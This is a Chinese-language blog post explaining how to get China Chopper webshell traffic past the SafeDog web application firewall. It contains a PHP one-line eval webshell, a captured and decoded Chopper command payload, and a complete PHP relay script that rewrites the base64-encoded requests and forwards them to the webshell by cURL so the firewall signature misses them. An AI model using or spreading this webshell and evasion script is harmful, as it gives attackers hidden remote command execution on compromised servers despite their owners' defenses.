在土司发了篇水文,有朋友问本地转发过狗的原理。虽然早就用了但是一直没认真研究过,借此机会研究一下。脚本非原创,链接文末贴出。
发现安全狗检测特征
网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。”这是脚本作者原话(这里不确定是否为原作者,因为我只是在他博客看到的文章。)
具体安全狗是否是利用该特征对菜刀的http进行检测的,我没有研究过,但是取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。
菜刀post数据分析
研究转发脚本先对菜刀的post数据分析一下,方便理解脚本。
利用wireshark对菜刀抓包分析发现,当我们自写脚本执行print(“test”)时,菜刀的post数据内容为:
[email protected](base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
这里的test,为我们上传的一句话的密码”<?php @eval($_POST[‘test’]); ?>”。
可以看到数据包的内容,菜刀将编码的部分解码然后发送给服务端(编码是为了防止特殊字符导致执行出现错误)。将后面的base64编码内容解码
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
都很容易理解就不废话了。
转发脚本原理
<?php $target="";//webshell地址 $poststr=''; $i=0; foreach($_POST as $k=>$v) { if(strstr($v, "base64_decode")) { $v=str_replace("base64_decode(","",$v); $v=str_replace("))",")",$v); }else { if($k==="z0") $v=base64_decode($v); } $pp=$k."=".urlencode($v); // echo $pp; if($i!=0) { $poststr=$poststr."&".$pp; } else { $poststr=$pp; } $i=$i+1; } $ch = curl_init(); $curl_url = $target."?".$_SERVER['QUERY_STRING']; curl_setopt($ch, CURLOPT_URL, $curl_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; ?>
先分析foreach这一段:
foreach($_POST as $k=>$v) { if(strstr($v, "base64_decode")) { $v=str_replace("base64_decode(","",$v); $v=str_replace("))",")",$v); }else { if($k==="z0") $v=base64_decode($v); } $pp=$k."=".urlencode($v); // echo $pp; if($i!=0) { $poststr=$poststr."&".$pp; } else { $poststr=$pp; } $i=$i+1; }
去除$_POST数组中的键值,利用strstr函数匹配到base64_decode函数并返回剩下的字符串,然后取出z0的值base64_decode解码。经过第一个if条件语句处理完以后数据变为
[email protected]($_POST[z0]);@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);;print(“hello PHP!”);;echo(“|<-“);die();
将数据urlencode(服务端接收参数数据时会自动解码),剩下的的代码就是将两段数据用&连接起来。
$ch = curl_init(); $curl_url = $target."?".$_SERVER['QUERY_STRING']; //获取url?后的值 curl_setopt($ch, CURLOPT_URL, $curl_url);//设置curl传输选项 curl_setopt($ch, CURLOPT_POST, 1);//发送post请求 curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);// 全部数据使用HTTP协议中的 "POST" 操作来发送 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。 $result = curl_exec($ch);//执行 curl_close($ch);//关闭 echo $result; ?>
emmmm,cURL我理解为就是去访问shell地址的页面。这里我将注释写到了代码后面。
这里有个地方没有深入了解,就是为什么post的数据需要urlencode,我测试的时候去掉了该编码函数,菜刀连接提示页面返回信息有误,不知道是代码的原因还是不编码的话就被安全狗给拦截了。希望有懂的师傅指点一下。
任重而道远
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er